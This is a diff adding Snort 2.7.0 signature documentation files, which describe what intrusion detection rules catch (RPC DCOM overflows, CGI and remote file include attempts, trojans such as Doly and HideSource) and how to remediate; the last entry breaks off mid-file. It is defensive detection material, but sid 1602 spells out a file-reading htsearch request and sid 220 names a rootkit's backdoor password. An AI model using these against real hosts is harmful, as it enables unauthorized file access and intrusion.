+++ snort-2.7.0/doc/signatures/3261.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3261
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3286.txt
+++ snort-2.7.0/doc/signatures/3286.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3286
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/854.txt
+++ snort-2.7.0/doc/signatures/854.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+854
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000734.txt
+++ snort-2.7.0/doc/signatures/100000734.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000734
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "MassDelete.Admin.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "MassDelete.Admin.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1565.txt
+++ snort-2.7.0/doc/signatures/1565.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1565
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000836.txt
+++ snort-2.7.0/doc/signatures/100000836.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000836
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "MiniBB" application running on a webserver. Access to the file "com_minibb.php" using a remote file being passed as the "absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "absolute_path" parameter in the "com_minibb.php" script used by the "MiniBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using MiniBB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1920.txt
+++ snort-2.7.0/doc/signatures/1920.txt
@@ -0,0 +1,57 @@
+Nigel:  Old reference pointed to something totally unrelated.
+Rule:
+--
+
+Sid:
+1920
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability associated with the FTP SITE NEWER command that may cause a denial of service or allow the upload of executable files.
+
+--
+Impact:
+Remote access or denial of service.  A successful attack can cause a denial of service or allow the upload of executable files on the vulnerable FTP server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability associated with the WU-FTP server version of the SITE NEWER command. It is possible to cause a denial of service attack that consumes memory or upload files to execute arbitrary commands with the privileges of the process running the FTP server. 
+
+--
+Affected Systems:
+Hosts running WU-FTPD 2.5.0.  
+
+--
+Attack Scenarios:
+An attacker can cause a denial of service or upload files to execute arbitrary commands on the vulnerable FTP server.
+
+--
+Ease of Attack:
+Difficult.  No known exploits available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/737
+
+--
--- snort-2.7.0.orig/doc/signatures/1608.txt
+++ snort-2.7.0/doc/signatures/1608.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1608
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3100.txt
+++ snort-2.7.0/doc/signatures/3100.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3100
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1602.txt
+++ snort-2.7.0/doc/signatures/1602.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+1602
+
+--
+Summary:
+This event is generated when an attempt is made to access htsearch.
+
+--
+Impact:
+Severe. Unauthorized file access is possible.
+
+--
+Detailed Information:
+Some versions of htdig allow inclusions to be made from configuration files as a parameter to the htsearch function. Any file can be included by enclosing it in single quotes ('foo').
+
+Using this vulnerability, any single quoted input string (`....`) is included as an index file by htsearch. This allows an attacker to read any file on the host.
+
+This event is generated when an attempt is made to access the cgi script htsearch. Refer to the rules with sid 1600 and 1601 for tracking actual exploit attempts.
+
+--
+Affected Systems:
+HTDig versions 3.1.1, 3.1.2, 3.1.3, 3.1.4 and 3.2.0b1
+
+--
+Attack Scenarios:
+A input form with a textbox named "Exclude" and http post action handled by htsearch or a url similar to http://www.foo.com/cgi-bin/htsearch?Exclude=%60/anyfile%60 can be used to access files on your host. %60 is the single quote caracter "`".
+
+--
+Ease of Attack:
+Simple. No exploit scripts required
+
+--
+False Positives:
+If htdig is used as a search engine for a website, this rule will generate an event for each request for htsearch.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Related Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+Bugtraq:
+http://www.securityfocus.com/bid/1026
+
+--
--- snort-2.7.0.orig/doc/signatures/3232.txt
+++ snort-2.7.0/doc/signatures/3232.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3232
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2227.txt
+++ snort-2.7.0/doc/signatures/2227.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2227
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP application Pod.Board.
+
+--
+Impact:
+Execution of arbitrary code on the client machine connecting to the host
+running the application. Theft of cookie data not limited to 
+authentication credentials is possible.
+
+--
+Detailed Information:
+The forum_details.php script does not properly check data supplied in 
+input fields or via URI parameters which leads to HTML injection 
+possibilites. This injection can include malicious script of the 
+attackers choosing.
+
+--
+Affected Systems:
+	planetinsanity.de pod.board 1.1
+
+--
+Attack Scenarios:
+A cross site scripting attack is possible, the attacker would need to 
+entice the victim to use a link supplied by the attacker which could 
+then divulge login and cookie information.
+
+--
+Ease of Attack:
+Moderate to Difficult. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/220.txt
+++ snort-2.7.0/doc/signatures/220.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+220
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "wank". This is a known password for 
+the HideSource rootkit.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1682.txt
+++ snort-2.7.0/doc/signatures/1682.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1682
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/570.txt
+++ snort-2.7.0/doc/signatures/570.txt
@@ -0,0 +1,71 @@
+SID:
+570
+--
+
+Rule:
+--
+
+Summary:
+This event indicates an attempt to exploit the tool talk RPC database 
+service
+--
+
+Impact:
+Possible unauthorized administrative access to the server or application
+or a denial of service to the affected application
+--
+
+Detailed Information:
+ToolTalk RPC database service (rpc.ttdbserverd) does not perform 
+adequate input validation or provide a format string specifier argument 
+when writing to syslog. This means a specifically crafted RPC request to
+the ToolTalk RPC database service overwriting specific locations in 
+memory and therefore allowing execution of code with the same permission
+level as the user running ttdbserverd, usually root.
+--
+
+Affected Systems:
+	HP-UX 10.10 - 11.0
+	AIX 4.1 - 4.3
+	IRIX 5.2 - 6.4
+	Solaris 1.1 - 2.6
+	TriTeal TED CDE 4.3
+	Xi Graphics Maximum CDE 1.2.3
+	
+Possibly other vendors, if you are running Tool Talk (rpc.ttdbserverd) check with your vendor.
+--
+
+Attack Scenarios:
+An attacker will send a specially crafted RPC call to the 
+rpc.ttdbserverd daemon running on an affected system. A sucessful 
+attack will then run code on the server with the access level of the 
+root user.
+--
+
+Ease of Attack:
+Simple, Exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Updates packages and patches are available from vendors, install them or
+disable the service if not needed.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/3340.txt
+++ snort-2.7.0/doc/signatures/3340.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3340
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/119.txt
+++ snort-2.7.0/doc/signatures/119.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+119
+
+--
+Summary:
+Doly is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine. Later versions are capable of launching DDoS attacks.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+No other systems are affected. This is a windows exceutable that makes changes to the system registry, Win.ini and System.ini. When first executed the Trojan replicates itself and in most cases, gives the copy a random name. This Trojan may use the file extensions ".exe" or ".dll".
+
+The Trojan changes system startup files and registry settings to add the Doly sever to programs normally started on boot.
+
+	SID	Message
+	---	-------
+	119	Doly 2.0 access (outgoing TCP connection)
+	1985	Doly 1.5 server response (outgoing TCP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+This is a particularly difficult Trojan to remove and should only be attempted by an experienced Windows Administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CLASSES_ROOT\exefile\shell\open\command
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\Run
+	HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current Version\RunServices
+	HKEY_LOCAL_MACHINE\Hardware\Data
+	HKEY_LOCAL_MACHINE\Hardware\Enum
+	HKEY_LOCAL_MACHINE\Software\Microsoft\DirectXMedia
+
+Registry keys added are:
+
+	HKEY_CLASSES_ROOT\.dl
+
+Removal of the replicant is also required, look for files ending in ".exe" or ".dll" in the <drive>:\Windows\ or <drive>:\Windows\System\ folders that use alphanumeric file names. The name of the replicant may be in one of the registry keys above.
+
+A machine reboot is required to clear the existing process from running in memory.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS312
+
+Hackfix
+http://www.hackfix.org/miscfix/doly.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/doly/index.html
+
+--
--- snort-2.7.0.orig/doc/signatures/1092.txt
+++ snort-2.7.0/doc/signatures/1092.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1092
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/3409.txt
+++ snort-2.7.0/doc/signatures/3409.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3409
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/913.txt
+++ snort-2.7.0/doc/signatures/913.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+913
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a ColdFusion web server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
